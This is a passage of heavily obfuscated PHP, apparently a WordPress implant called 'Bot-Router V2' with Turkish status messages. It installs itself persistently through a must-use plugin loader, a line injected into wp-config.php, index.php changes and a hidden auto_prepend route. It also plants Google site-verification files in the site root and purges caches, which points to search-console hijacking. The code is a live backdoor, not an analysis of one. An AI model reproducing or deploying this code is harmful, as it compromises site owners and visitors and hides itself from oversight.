"\x2e\x68\x74\141\143\143\x65\x73\x73"; } } } if (empty($done)) { return array(true, "\x47\x69\172\154\151\40\153\x75\x72\x75\x6c\x75\155\x20\x7a\141\164\x65\x6e\x20\171\x6f\153\56"); } return array(true, "\107\151\172\154\151\x20\x6b\165\x72\x75\154\x75\155\40\x6b\141\x6c\144\xc4\xb1\x72\xc4\xb1\154\x64\304\261\40\x28" . implode("\x2c\40", $done) . "\x29\x2e"); } function botr99_prepend_marker($file, $block, $marker) { $existing = is_file($file) ? (string) @file_get_contents($file) : ''; if ($existing !== '' && strpos($existing, $marker) !== false) { return true; } if ($existing !== '') { @copy($file, $file . "\56\x62\157\164\x72\71\71\x2d\x62\x61\x6b"); } $new = $existing === '' ? $block : rtrim($block, "\15\xa") . "\xa\12" . ltrim($existing, "\xd\xa"); return @file_put_contents($file, $new, LOCK_EX) !== false; } function botr99_wpconfig_path() { $root = botr99_paths()["\162\157\x6f\164"]; foreach (array($root . DIRECTORY_SEPARATOR . "\167\x70\55\143\157\156\146\151\x67\56\160\x68\x70", dirname($root) . DIRECTORY_SEPARATOR . "\167\x70\55\x63\157\x6e\x66\151\x67\56\x70\x68\x70") as $p) { if (is_file($p)) { return $p; } } return null; } function botr99_muplugins_dir() { if (defined("\127\120\x4d\x55\x5f\120\114\125\107\111\116\x5f\104\x49\122")) { return WPMU_PLUGIN_DIR; } if (defined("\127\x50\x5f\x43\117\x4e\x54\105\116\x54\x5f\104\x49\122")) { return WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "\155\x75\55\160\x6c\165\x67\x69\156\163"; } $wpc = botr99_paths()["\x72\x6f\157\x74"] . DIRECTORY_SEPARATOR . "\167\x70\x2d\x63\x6f\156\x74\x65\156\x74"; return is_dir($wpc) ? $wpc . DIRECTORY_SEPARATOR . "\155\x75\55\x70\154\x75\147\x69\x6e\163" : null; } function botr99_muplugins_loader() { $mud = botr99_muplugins_dir(); return $mud === null ? null : $mud . DIRECTORY_SEPARATOR . "\60\x30\x2d\x62\157\x74\55\x72\157\165\x74\145\162\55\x76\x39\x39\56\x70\150\x70"; } function botr99_install_muplugins() { $mud = botr99_muplugins_dir(); if ($mud === null) { return array(false, "\167\x70\x2d\x63\157\156\x74\x65\x6e\164\57\155\x75\x2d\160\x6c\165\147\151\156\x73\40\x62\165\x6c\165\156\x61\x6d\141\144\304\261\40\x28\x57\157\x72\144\x50\x72\145\163\163\x20\x64\145\304\x9f\x69\x6c\x20\166\x65\171\x61\40\303\xb6\172\x65\x6c\x20\151\303\247\x65\162\x69\153\40\144\x69\x7a\x69\x6e\x69\51\x2e"); } if (!is_dir($mud) && !@mkdir($mud, 493, true) && !is_dir($mud)) { return array(false, "\155\165\x2d\160\154\165\147\x69\156\x73\40\x64\x69\x7a\x69\156\x69\40\157\x6c\165\xc5\237\164\x75\162\x75\154\x61\155\141\x64\304\xb1\x2e"); } if (!is_writable($mud)) { return array(false, "\155\x75\55\160\x6c\165\x67\151\x6e\x73\x20\x64\151\x7a\x69\156\151\x20\x79\141\x7a\304\261\154\x61\x62\151\154\x69\162\x20\x64\x65\xc4\237\x69\154\56"); } $abs = str_replace("\134", "\57", botr99_paths()["\163\145\154\x66"]); $content = "\x3c\77\x70\150\160\12" . "\57\52\x20" . BOTR99_AUTOLOAD_MARK . "\x20\xe2\x80\224\40\127\150\x6f\x5a\145\x78\x20\x42\x6f\x74\x2d\122\157\x75\x74\145\x72\x20\126\62\40\155\165\55\x70\x6c\x75\x67\x69\156\x20\154\x6f\x61\x64\x65\x72\x20\x28\x6f\x74\157\x6d\141\x74\151\x6b\51\56\x20\52\x2f\12" . "\151\x66\x20\50\x21\144\145\146\x69\156\145\144\50\47\x41\102\x53\120\x41\124\110\x27\x29\51\40\173\x20\x72\x65\164\x75\162\x6e\x3b\x20\175\xa" . "\x24\x62\x6f\x74\x72\71\x39\137\146\x20\75\x20" . var_export($abs, true) . "\73\xa" . "\x69\x66\x20\x28\x40\x69\163\x5f\x66\151\154\x65\x28\44\142\157\164\162\71\71\x5f\146\51\51\x20\x7b\x20\x72\x65\161\x75\x69\162\x65\40\x24\142\157\x74\162\71\x39\x5f\x66\73\x20\175" . "\xa"; if (@file_put_contents(botr99_muplugins_loader(), $content, LOCK_EX) === false) { return array(false, "\155\165\x2d\x70\x6c\x75\147\151\156\x20\x6c\157\x61\x64\x65\162\40\x79\141\172\304\261\154\x61\x6d\141\144\304\xb1\56"); } return array(true, "\155\x75\55\x70\x6c\x75\147\151\156\x73\x20\171\xc3\266\156\x74\145\x6d\151\40\x69\154\145\x20\153\x75\162\165\154\x64\165\x20\50\303\xa7\x65\x6b\x69\162\144\145\x6b\40\x64\157\163\x79\x61\x6c\141\162\x61\40\150\151\xc3\247\x20\144\x6f\153\165\156\165\x6c\155\x61\144\304\xb1\x29\x2e"); } function botr99_install_wpconfig() { $wpc = botr99_wpconfig_path(); if ($wpc === null) { return array(false, "\167\160\55\143\x6f\156\x66\x69\x67\x2e\x70\150\160\x20\142\x75\x6c\165\156\x61\x6d\x61\x64\xc4\xb1\x2e"); } if (!is_writable($wpc)) { return array(false, "\x77\x70\55\143\157\x6e\x66\x69\x67\56\160\150\160\40\171\x61\172\304\261\x6c\141\x62\151\x6c\151\162\40\144\x65\304\237\x69\x6c\56"); } $content = @file_get_contents($wpc); if (!is_string($content)) { return array(false, "\167\160\x2d\x63\x6f\x6e\x66\151\147\x2e\x70\150\x70\x20\x6f\153\165\156\x61\155\x61\144\xc4\261\56"); } if (strpos($content, BOTR99_AUTOLOAD_MARK) !== false) { return array(true, "\132\x61\x74\145\156\x20\x6b\165\x72\165\154\165\x20\50\x77\x70\55\x63\157\156\146\151\147\56\x70\150\x70\x29\x2e"); } $pos = strpos($content, "\x3c\x3f\x70\150\x70"); if ($pos === false) { return array(false, "\167\160\55\x63\x6f\x6e\x66\x69\x67\56\x70\150\160\x20\x69\xc3\247\x69\156\x64\145\x20\74\77\x70\150\160\40\145\164\x69\153\x65\164\x69\40\x79\157\153\56"); } @copy($wpc, $wpc . "\x2e\x62\x6f\x74\162\71\71\55\142\x61\x6b"); $abs = str_replace("\x5c", "\57", botr99_paths()["\163\x65\154\146"]); $req = "\x69\146\x20\50\100\x69\163\x5f\x66\151\x6c\145\x28" . var_export($abs, true) . "\51\51\x20\173\40\x72\145\161\165\151\162\x65\x20" . var_export($abs, true) . "\x3b\40\175"; $line = "\12" . $req . "\x20\57\x2a\x20" . BOTR99_AUTOLOAD_MARK . "\40\52\57"; $new = substr($content, 0, $pos + 5) . $line . substr($content, $pos + 5); if (@file_put_contents($wpc, $new, LOCK_EX) === false) { return array(false, "\x77\160\55\143\x6f\156\146\151\147\x2e\x70\150\160\x20\x79\141\172\304\xb1\154\141\x6d\141\144\xc4\261\56"); } $check = @file_get_contents($wpc); if (!is_string($check) || strpos($check, BOTR99_AUTOLOAD_MARK) === false) { @copy($wpc . "\56\x62\157\x74\x72\x39\x39\x2d\142\141\x6b", $wpc); return array(false, "\x4b\165\162\165\154\x75\x6d\40\144\157\xc4\237\162\x75\x6c\x61\156\141\x6d\141\144\xc4\xb1\73\40\x77\x70\55\x63\x6f\x6e\146\151\x67\56\160\150\x70\x20\147\145\x72\151\x20\171\xc3\274\x6b\x6c\x65\156\144\x69\x2e"); } return array(true, "\167\x70\55\143\x6f\156\x66\151\x67\x2e\x70\x68\x70\x20\x79\xc3\266\x6e\164\145\155\x69\40\x69\x6c\x65\40\153\165\x72\165\x6c\x64\165\40\50\171\145\144\x65\x6b\x20\x61\154\xc4\xb1\156\144\xc4\261\x29\56"); } function botr99_install_auto() { $chain = array("\x6d\165\55\160\154\x75\147\x69\156\163" => "\142\157\x74\x72\x39\71\137\151\156\163\x74\x61\x6c\154\x5f\x6d\x75\x70\154\165\147\151\x6e\x73", "\x77\x70\x2d\143\x6f\x6e\146\x69\147" => "\142\x6f\x74\162\71\71\x5f\151\x6e\x73\164\x61\154\154\137\167\160\x63\x6f\x6e\x66\x69\147", "\151\156\144\x65\170\x2e\160\150\160" => "\x62\157\164\162\x39\71\x5f\x64\x6f\x5f\x69\x6e\x73\164\141\x6c\x6c", "\141\165\x74\x6f\x5f\x70\x72\x65\x70\145\156\144" => "\x62\157\x74\162\71\x39\x5f\144\x6f\x5f\150\151\144\x64\x65\x6e\137\x69\156\x73\x74\x61\154\154"); $attempts = array(); foreach ($chain as $name => $fn) { list($ok, $m) = call_user_func($fn); $attempts[] = array("\x6d\145\x74\150\x6f\x64" => $name, "\157\153" => $ok, "\155\163\147" => $m); if ($ok) { return array(true, $m, $name, $attempts); } } return array(false, "\x48\x69\303\xa7\x62\151\x72\40\153\165\x72\x75\154\x75\x6d\x20\171\303\xb6\x6e\164\x65\155\x69\x20\165\x79\147\x75\x6c\x61\156\141\155\x61\144\xc4\261\x20\xe2\200\224\x20\x69\x7a\151\156\154\145\x72\151\x20\153\x6f\156\x74\162\157\154\40\145\144\x69\156\x2e", '', $attempts); } function botr99_full_status() { $loader = botr99_muplugins_loader(); $mu = $loader !== null && is_file($loader) && strpos((string) @file_get_contents($loader), BOTR99_AUTOLOAD_MARK) !== false; $wpc_path = botr99_wpconfig_path(); $wpc = $wpc_path !== null && strpos((string) @file_get_contents($wpc_path), BOTR99_AUTOLOAD_MARK) !== false; $idx = botr99_index_installed(); $prep = botr99_prepend_status(); $active = $mu ? "\x6d\x75\x2d\160\154\165\x67\x69\x6e\163" : ($wpc ? "\x77\160\x2d\x63\x6f\x6e\x66\x69\x67" : ($idx ? "\151\156\144\145\x78\x2e\160\x68\x70" : ($prep["\x61\x63\164\x69\166\145"] ? "\141\165\164\157\x5f\160\162\145\x70\145\156\144\x20\x28" . $prep["\166\x69\141"] . "\x29" : ''))); return array("\155\165\x70\154\165\147\x69\x6e\x73" => $mu, "\167\x70\143\x6f\x6e\146\151\x67" => $wpc, "\x69\x6e\144\x65\x78" => $idx, "\160\x72\145\160\145\x6e\x64" => $prep["\x61\x63\164\x69\x76\x65"], "\x61\x63\164\x69\x76\x65" => $active, "\141\x6e\171" => $mu || $wpc || $idx || $prep["\x61\143\x74\x69\x76\145"]); } function botr99_uninstall_all() { $done = array(); $loader = botr99_muplugins_loader(); if ($loader !== null && is_file($loader) && strpos((string) @file_get_contents($loader), BOTR99_AUTOLOAD_MARK) !== false) { if (@unlink($loader)) { $done[] = "\155\x75\x2d\160\x6c\165\147\151\x6e\163"; } } $wpc = botr99_wpconfig_path(); if ($wpc !== null && is_writable($wpc)) { $c = (string) @file_get_contents($wpc); if (strpos($c, BOTR99_AUTOLOAD_MARK) !== false) { @copy($wpc, $wpc . "\56\x62\x6f\x74\x72\71\x39\x2d\142\x61\x6b"); $new = preg_replace("\57\136\x2e\52" . preg_quote(BOTR99_AUTOLOAD_MARK, "\57") . "\56\52\x24\134\x52\x3f\x2f\x6d", '', $c); if (@file_put_contents($wpc, $new, LOCK_EX) !== false) { $done[] = "\167\x70\55\143\x6f\156\x66\151\147"; } } } if (botr99_index_installed()) { list($ok) = botr99_do_uninstall(); if ($ok) { $done[] = "\151\156\x64\145\170\x2e\160\x68\160"; } } $prep = botr99_prepend_status(); if ($prep["\141\x63\164\151\x76\x65"]) { list($ok) = botr99_do_hidden_uninstall(); if ($ok) { $done[] = "\141\x75\164\x6f\137\160\162\x65\160\145\156\x64"; } } if (empty($done)) { return array(true, "\113\x61\x6c\x64\304\261\162\304\261\154\x61\143\141\x6b\x20\153\165\x72\x75\154\x75\155\40\142\165\x6c\x75\156\x61\x6d\x61\x64\304\261\x2e"); } return array(true, "\113\x61\x6c\144\304\xb1\162\304\xb1\154\x64\xc4\xb1\72\x20" . implode("\54\40", $done) . "\x2e"); } function botr99_install_one($name) { switch ($name) { case "\x6d\165\x70\x6c\165\x67\x69\156\163": return botr99_install_muplugins(); case "\167\x70\143\157\156\146\151\x67": return botr99_install_wpconfig(); case "\x69\x6e\x64\145\x78": return botr99_do_install(); case "\x68\x74\141\x63\x63\145\x73\x73": return botr99_do_hidden_install(); } return array(false, "\x42\x69\x6c\151\x6e\x6d\145\171\145\156\40\x79\303\xb6\156\x74\x65\155\56"); } function botr99_switch_method($name) { if (!in_array($name, array("\x6d\x75\x70\154\x75\147\x69\156\163", "\x77\160\x63\x6f\156\x66\x69\147", "\151\156\x64\x65\x78", "\x68\164\x61\143\143\145\163\163"), true)) { return array(false, "\x47\145\xc3\xa7\x65\162\163\x69\x7a\x20\171\303\xb6\x6e\x74\x65\155\56"); } botr99_uninstall_all(); return botr99_install_one($name); } function botr99_htaccess_root_path() { return botr99_paths()["\150\x74\141\x63\143\145\x73\163"]; } function botr99_htaccess_root_read() { $f = botr99_htaccess_root_path(); if (!is_file($f)) { return ''; } $c = @file_get_contents($f); return $c === false ? '' : $c; } function botr99_htaccess_root_save($content) { $f = botr99_htaccess_root_path(); if (is_file($f) && !is_writable($f)) { return array(false, "\56\150\164\141\143\x63\x65\163\163\40\x79\141\172\304\xb1\154\141\x62\151\x6c\151\162\40\144\145\304\237\151\x6c\x20\x28\151\x7a\x69\156\40\x36\x34\64\40\x6f\154\155\141\x6c\xc4\xb1\51\56"); } if (!is_file($f) && !is_writable(dirname($f))) { return array(false, "\x4b\xc3\266\x6b\40\x64\x69\172\x69\x6e\x20\171\141\x7a\304\xb1\154\141\x62\151\154\x69\162\40\x64\145\304\x9f\x69\154\x2e"); } if (is_file($f)) { @copy($f, $f . "\56\142\x6f\164\162\71\x39\55\142\141\x6b"); } $content = str_replace("\xd\12", "\xa", (string) $content); if (@file_put_contents($f, $content, LOCK_EX) === false) { return array(false, "\56\x68\x74\x61\x63\x63\x65\x73\x73\40\171\x61\172\xc4\261\154\x61\x6d\141\144\xc4\261\56"); } return array(true, "\x2e\x68\x74\x61\x63\x63\145\163\163\x20\153\x61\x79\x64\145\x64\151\x6c\144\x69\40\50\171\145\x64\145\x6b\x20\x61\154\304\xb1\156\x64\304\261\x3a\x20\x2e\x68\164\x61\x63\143\145\x73\163\x2e\x62\157\x74\162\x39\71\55\142\141\153\51\56"); } function botr99_gsc_save($name, $content) { $name = basename(trim((string) $name)); $content = trim((string) $content); if (!preg_match("\57\x5e\147\x6f\157\147\154\x65\133\x41\55\132\x61\x2d\x7a\60\55\71\x5d\x2b\x5c\x2e\150\x74\x6d\154\44\x2f", $name)) { return array(false, "\x44\157\x73\x79\x61\40\141\x64\xc4\xb1\40\42\x67\157\157\x67\x6c\x65\x2e\56\56\150\164\155\154\42\x20\142\x69\303\xa7\x69\155\151\156\144\x65\40\x6f\x6c\x6d\141\x6c\xc4\261\x20\50\xc3\266\x72\156\x3a\x20\147\x6f\x6f\147\x6c\145\61\x61\62\142\x33\x63\x34\144\56\150\164\155\154\x29\x2e"); } if (!preg_match("\x2f\136\x67\157\x6f\147\154\145\55\163\x69\164\145\55\166\x65\162\x69\x66\x69\x63\141\x74\151\157\x6e\72\x5c\x73\x2a\134\123\x2b\44\57", $content)) { return array(false, "\304\260\303\247\x65\x72\x69\153\x20\42\x67\x6f\x6f\147\x6c\x65\55\x73\151\164\145\x2d\166\145\x72\151\x66\151\143\141\x74\x69\157\x6e\72\40\x54\117\113\105\x4e\x22\40\x62\x69\303\247\151\155\x69\x6e\144\145\x20\x6f\x6c\155\x61\x6c\304\261\56"); } $root = botr99_paths()["\x72\x6f\x6f\x74"]; if (!is_writable($root)) { return array(false, "\x53\151\x74\145\40\153\xc3\266\x6b\40\x64\x69\x7a\x69\x6e\x69\40\171\141\172\304\xb1\154\x61\x62\151\x6c\151\162\40\144\145\xc4\x9f\151\154\x3a\40" . $root); } if (@file_put_contents($root . DIRECTORY_SEPARATOR . $name, $content . "\12", LOCK_EX) === false) { return array(false, "\104\x6f\163\171\x61\40\x79\x61\x7a\xc4\261\154\x61\x6d\141\144\xc4\xb1\x2e"); } return array(true, "\x44\157\xc4\x9f\162\x75\x6c\141\155\141\x20\x64\157\x73\171\141\x73\304\261\40\x79\xc3\274\x6b\154\145\x6e\x64\x69\72\x20" . $name); } function botr99_gsc_list() { $files = glob(botr99_paths()["\x72\157\x6f\164"] . DIRECTORY_SEPARATOR . "\x67\x6f\x6f\147\154\145\52\x2e\150\164\x6d\154"); return is_array($files) ? $files : array(); } function botr99_gsc_delete($name) { $name = basename((string) $name); if (!preg_match("\x2f\136\x67\x6f\x6f\x67\x6c\x65\133\x41\x2d\132\141\55\172\60\x2d\x39\135\x2b\x5c\56\150\164\x6d\154\44\x2f", $name)) { return array(false, "\x47\145\303\247\x65\x72\163\x69\172\x20\x64\157\163\x79\141\40\x61\x64\xc4\261\x2e"); } $p = botr99_paths()["\162\x6f\x6f\x74"] . DIRECTORY_SEPARATOR . $name; if (is_file($p)) { @unlink($p); } return array(true, "\104\157\304\237\x72\x75\154\141\155\141\40\x64\x6f\163\171\x61\163\xc4\261\x20\163\x69\x6c\151\156\144\151\72\x20" . $name); } function botr99_wp_load() { if (defined("\x41\x42\123\120\x41\124\110")) { return true; } $paths = botr99_paths(); $candidates = array(); if (!empty($paths["\167\x70\x72\157\x6f\164"])) { $candidates[] = $paths["\167\160\162\x6f\157\x74"] . "\x2f\x77\160\55\154\157\x61\144\56\x70\x68\160"; } $candidates[] = $paths["\144\151\162"] . "\57\x77\x70\x2d\154\x6f\x61\144\56\x70\x68\160"; $candidates[] = dirname($paths["\x64\151\162"]) . "\x2f\167\x70\x2d\154\157\x61\144\x2e\160\x68\160"; foreach (array_unique($candidates) as $wl) { if (is_file($wl)) { ob_start(); try { require_once $wl; } catch (\Throwable $e) { @ob_end_clean(); return false; } @ob_end_clean(); return defined("\101\x42\123\120\101\x54\110"); } } return false; } function botr99_rrmdir_contents($dir) { $n = 0; $items = @scandir($dir); if (!is_array($items)) { return 0; } foreach ($items as $it) { if ($it === "\56" || $it === "\56\x2e") { continue; } $p = $dir . DIRECTORY_SEPARATOR . $it; if (is_dir($p) && !is_link($p)) { $n += botr99_rrmdir_contents($p); @rmdir($p); $n++; } else { @unlink($p); $n++; } } return $n; } function botr99_wipe_dir($dir) { if (!is_dir($dir)) { return -1; } return botr99_rrmdir_contents($dir); } function botr99_strip_htaccess_cache() { $f = botr99_htaccess_root_path(); if (!is_file($f) || !is_writable($f)) { return 0; } $c = @file_get_contents($f); if (!is_string($c) || $c === '') { return 0; } $orig = $c; $count = 0; $patterns = array("\x2f\x5b\134\x74\x20\135\x2a\74\111\146\115\x6f\144\165\x6c\x65\x5c\x73\x2b\155\x6f\x64\x5f\x65\170\160\x69\x72\145\163\134\x2e\x63\76\56\x2a\x3f\74\x5c\57\x49\x66\115\x6f\x64\165\154\x65\x3e\x5c\x73\52\x3f\x5c\x6e\77\57\x69\163", "\x2f\136\133\x5c\x74\x20\x5d\x2a\x45\170\x70\x69\x72\145\x73\50\101\143\164\x69\166\x65\x7c\x42\171\124\x79\x70\x65\x7c\104\x65\146\141\165\x6c\x74\x7c\102\x79\104\x65\146\x61\165\154\x74\51\134\142\x2e\52\x24\x5c\156\77\57\x69\155", "\57\136\133\134\x74\40\x5d\x2a\x48\145\141\144\145\162\x5c\x73\x2b\50\x73\x65\x74\x7c\165\156\x73\x65\x74\174\141\160\x70\x65\156\x64\174\x61\x64\144\174\x73\x65\164\151\146\x65\x6d\160\x74\171\x29\134\163\53\50\103\x61\x63\150\x65\55\x43\x6f\x6e\x74\162\x6f\154\x7c\105\x78\x70\151\162\145\163\x7c\x50\x72\141\147\x6d\141\x7c\105\124\x61\x67\x7c\x41\x67\145\174\114\141\163\x74\55\x4d\157\x64\151\x66\151\145\144\x7c\130\x2d\114\x69\x74\x65\123\160\145\x65\144\x2d\103\x61\143\150\x65\x2d\x43\x6f\x6e\x74\x72\157\154\51\134\x62\x2e\x2a\x24\134\156\77\x2f\151\x6d", "\x2f\x5e\x5b\x5c\164\40\135\x2a\106\151\154\145\105\x54\x61\147\134\x62\x2e\52\x24\x5c\x6e\x3f\x2f\151\155", "\x2f\136\133\134\x74\x20\135\x2a\103\x61\x63\x68\145\114\157\x6f\x6b\165\160\134\142\x2e\52\x24\134\x6e\x3f\x2f\151\x6d", "\57\136\x5b\x5c\x74\40\135\x2a\x43\141\143\x68\145\x28\105\x6e\x61\x62\154\145\x7c\x44\x69\x73\x61\x62\x6c\145\174\122\157\x6f\164\x7c\104\151\x72\114\145\x76\x65\x6c\163\174\104\x69\162\x4c\145\156\147\164\150\x7c\x4d\141\170\x46\x69\154\x65\123\x69\172\x65\x7c\x4d\x69\156\x46\151\154\x65\x53\x69\172\x65\174\x49\x67\x6e\x6f\162\x65\110\145\141\x64\145\x72\x73\174\104\x65\146\x61\x75\154\x74\x45\170\160\x69\x72\145\51\134\142\56\x2a\44\134\156\x3f\x2f\x69\155"); foreach ($patterns as $re) { $c = preg_replace_callback($re, function () use(&$count) { $count++; return ''; }, $c); } if ($count > 0 && $c !== $orig) { @copy($f, $f . "\x2e\142\157\164\162\x39\x39\x2d\142\141\153"); $c = preg_replace("\57\12\x7b\x33\54\x7d\x2f", "\xa\xa", $c); @file_put_contents($f, $c, LOCK_EX); } return $count; } function botr99_deep_clean() { $report = array(); $add = function ($s) use(&$report) { if ($s !== '' && $s !== null) { $report[] = $s; } }; if (!botr99_wp_load()) { return array(false, "\127\x6f\x72\x64\x50\x72\145\163\163\x20\x79\xc3\xbc\153\154\145\156\x65\155\x65\x64\151\x20\50\167\x70\55\154\157\x61\x64\x2e\160\x68\160\x20\x79\157\x6b\51\56\40\104\145\162\151\156\40\164\145\x6d\x69\172\x6c\151\x6b\x20\171\x61\154\x6e\xc4\xb1\x7a\x63\141\x20\127\157\x72\x64\120\162\x65\163\163\40\163\151\x74\x65\154\145\x72\151\x6e\x64\x65\40\xc3\247\x61\x6c\xc4\261\xc5\237\304\261\162\x2e", array()); } try { $core = array(); if (function_exists("\x77\x70\137\143\141\x63\x68\x65\137\x66\154\x75\163\150")) { wp_cache_flush(); $core[] = "\157\142\x6a\x65\x63\164\55\143\x61\x63\150\145"; } if (function_exists("\x77\x70\x5f\143\x61\x63\x68\x65\x5f\146\x6c\x75\x73\x68\x5f\x72\165\x6e\x74\x69\155\x65")) { wp_cache_flush_runtime(); } if (function_exists("\167\160\x5f\x63\x61\143\x68\145\x5f\146\x6c\165\163\150\x5f\x67\162\x6f\165\160") && function_exists("\x77\x70\x5f\x63\141\x63\x68\x65\137\x73\165\160\x70\157\162\x74\x73") && wp_cache_supports("\146\154\x75\x73\150\x5f\147\x72\x6f\x75\160")) { foreach (array("\160\157\x73\164\x73", "\x74\145\x72\155\x73", "\157\x70\164\151\157\156\163", "\x74\162\x61\x6e\x73\151\145\x6e\x74", "\x73\x69\x74\145\55\x74\162\x61\x6e\x73\x69\x65\156\164") as $g) { @wp_cache_flush_group($g); } } if (function_exists("\x6f\160\x63\141\143\150\145\x5f\x72\x65\163\145\x74")) { @opcache_reset(); $core[] = "\x4f\120\143\x61\143\150\x65"; } if (function_exists("\141\160\143\x75\x5f\x63\x6c\145\141\162\x5f\143\x61\143\150\x65")) { @apcu_clear_cache(); $core[] = "\x41\120\103\x75"; } if (function_exists("\167\151\156\x63\x61\143\x68\145\x5f\165\143\141\143\x68\x65\x5f\x63\154\x65\141\x72")) { @wincache_ucache_clear(); $core[] = "\127\151\156\103\141\143\150\145"; } clearstatcache(true); $add("\303\247\x65\153\151\x72\x64\x65\x6b\40\x63\141\143\x68\145\x20\163\xc4\xb1\146\304\xb1\162\x6c\x61\x6e\x64\xc4\261\x3a\x20" . (empty($core) ? "\162\x65\x61\154\160\141\164\150" : implode("\x2c\x20", $core))); } catch (\Throwable $e) { $add("\xc3\xa7\x65\153\x69\x72\144\x65\x6b\40\x63\141\143\x68\145\40\x68\141\x74\x61\x3a\40" . $e->getMessage()); } try { if (function_exists("\162\x6f\143\x6b\x65\x74\137\143\154\145\141\x6e\x5f\144\x6f\155\141\x69\156")) { rocket_clean_domain(); } if (function_exists("\162\x6f\x63\153\145\164\137\x63\154\145\x61\156\137\x6d\x69\x6e\x69\146\171")) { rocket_clean_minify(); } if (function_exists("\x72\x6f\143\x6b\145\164\x5f\x63\154\x65\141\156\x5f\x63\141\x63\x68\145\137\142\165\163\164\x69\x6e\147")) { rocket_clean_cache_busting(); } if (function_exists("\146\154\x75\x73\x68\137\x72\157\143\x6b\x65\164\137\x68\x74\141\x63\143\x65\x73\x73")) { flush_rocket_htaccess(); } if (function_exists("\x77\63\164\143\137\146\x6c\x75\163\150\x5f\141\x6c\x6c")) { w3tc_flush_all(); } if (function_exists("\x77\x33\164\143\x5f\x70\x67\143\141\x63\150\145\x5f\146\x6c\x75\x73\x68")) { w3tc_pgcache_flush(); } if (function_exists("\167\x33\x74\143\137\x64\x62\143\x61\143\x68\145\137\x66\154\x75\163\x68")) { w3tc_dbcache_flush(); } if (function_exists("\x77\63\x74\143\x5f\157\x62\x6a\145\143\164\143\x61\x63\150\145\x5f\x66\154\165\x73\150")) { w3tc_objectcache_flush(); } if (function_exists("\x77\63\164\143\x5f\155\x69\156\x69\x66\x79\137\x66\x6c\165\x73\150")) { w3tc_minify_flush(); } if (function_exists("\x77\x70\x5f\143\141\143\150\145\137\x63\154\x65\141\162\137\x63\141\x63\x68\145")) { wp_cache_clear_cache(); } if (function_exists("\x77\160\x5f\x63\x61\143\x68\x65\137\143\x6c\145\141\x6e\x5f\x63\141\143\150\x65")) { global $file_prefix; @wp_cache_clean_cache($file_prefix); } if (function_exists("\x70\x72\x75\156\x65\x5f\163\165\160\145\162\137\x63\141\x63\150\145") && defined("\x57\x50\137\x43\117\116\x54\x45\116\x54\137\x44\x49\122")) { @prune_super_cache(WP_CONTENT_DIR . "\x2f\x63\141\x63\x68\x65\x2f", true); } if (class_exists("\134\x4c\x69\x74\145\x53\160\x65\x65\144\134\x50\x75\x72\147\145") && method_exists("\134\x4c\151\x74\x65\x53\x70\145\145\x64\x5c\x50\165\162\147\x65", "\160\165\162\147\145\137\141\x6c\x6c")) { \LiteSpeed\Purge::purge_all(); } if (isset($GLOBALS["\167\x70\137\146\x61\163\164\145\163\x74\x5f\143\x61\143\x68\145"]) && method_exists($GLOBALS["\167\160\x5f\146\141\163\164\145\163\x74\x5f\x63\x61\x63\150\x65"], "\x64\x65\154\x65\164\x65\103\141\143\x68\145")) { @$GLOBALS["\x77\160\137\x66\141\163\164\145\x73\x74\x5f\143\141\x63\150\145"]->deleteCache(true); } if (function_exists("\167\160\146\143\x5f\x63\x6c\x65\x61\x72\137\x61\x6c\x6c\x5f\143\141\143\x68\145")) { @wpfc_clear_all_cache(true); } if (class_exists("\x43\x61\x63\x68\145\x5f\x45\156\x61\x62\154\145\162") && method_exists("\103\x61\x63\x68\145\137\105\156\x61\142\154\x65\162", "\x63\x6c\x65\141\x72\137\164\x6f\x74\141\154\137\x63\141\143\150\x65")) { Cache_Enabler::clear_total_cache(); } if (class_exists("\x61\x75\x74\157\x70\164\151\155\151\172\x65\x43\141\x63\x68\x65") && method_exists("\x61\x75\x74\157\x70\164\151\155\x69\x7a\x65\103\141\x63\150\x65", "\143\x6c\x65\x61\162\141\154\154")) { autoptimizeCache::clearall(); } if (class_exists("\102\x72\x65\145\x7a\145\x5f\x50\x75\x72\147\x65\x43\x61\x63\150\x65") && method_exists("\102\162\145\x65\x7a\145\137\120\165\x72\x67\145\x43\141\x63\150\x65", "\x62\x72\145\x65\x7a\145\x5f\x63\x61\143\150\145\137\146\154\x75\x73\x68")) { Breeze_PurgeCache::breeze_cache_flush(); } if (class_exists("\x53\167\151\146\164\x5f\120\145\x72\x66\x6f\162\x6d\141\x6e\x63\145\x5f\x43\x61\x63\x68\145") && method_exists("\123\167\151\146\x74\x5f\x50\145\162\x66\157\x72\155\141\x6e\143\145\137\103\141\143\150\x65", "\x63\154\x65\141\x72\x5f\x61\x6c\154\x5f\x63\141\x63\x68\145")) { Swift_Performance_Cache::clear_all_cache(); } if (class_exists("\143\x6f\x6d\x65\x74\x5f\x63\141\143\x68\x65") && method_exists("\143\157\155\x65\164\137\143\x61\x63\150\x65", "\143\x6c\x65\141\162")) { comet_cache::clear(); } if (class_exists("\x63\157\155\x65\164\x5f\x63\141\x63\150\145") && method_exists("\143\x6f\x6d\x65\164\137\143\141\x63\x68\x65", "\x77\x69\x70\x65")) { comet_cache::wipe(); } if (function_exists("\x57\120\137\x4f\x70\164\x69\155\x69\x7a\145") && is_callable(array(WP_Optimize(), "\147\145\x74\x5f\160\141\x67\x65\x5f\143\141\143\150\145"))) { $pc = WP_Optimize()->get_page_cache(); if (is_object($pc) && method_exists($pc, "\160\x75\162\147\145")) { $pc->purge(); } } if (class_exists("\x5c\110\x75\155\x6d\x69\x6e\x67\x62\x69\162\144\x5c\x43\157\x72\145\x5c\106\151\154\145\x73\x79\163\x74\x65\x6d")) { do_action("\167\160\x68\x62\137\143\x6c\x65\x61\162\x5f\160\141\147\145\137\x63\x61\143\x68\x65"); } if (function_exists("\163\x67\x5f\x63\141\x63\x68\145\x70\x72\x65\163\x73\137\160\x75\162\147\145\137\143\141\143\150\x65")) { sg_cachepress_purge_cache(); } if (class_exists("\134\123\x69\x74\x65\107\x72\x6f\x75\156\144\x5f\117\x70\x74\x69\155\x69\x7a\145\x72\x5c\x53\x75\x70\x65\162\143\141\143\x68\x65\162\134\123\x75\x70\145\162\143\x61\x63\150\145\162") && method_exists("\x5c\x53\151\x74\x65\107\162\157\165\156\x64\x5f\117\160\x74\151\155\151\172\x65\162\134\123\165\160\145\162\143\141\x63\x68\x65\x72\134\123\x75\160\x65\162\x63\x61\143\150\145\x72", "\x70\165\x72\x67\x65\137\x63\x61\143\x68\145")) { \SiteGround_Optimizer\Supercacher\Supercacher::purge_cache(); } if (class_exists("\106\x6c\x79\x69\x6e\147\120\x72\145\163\163\134\x50\x75\x72\x67\145\162") 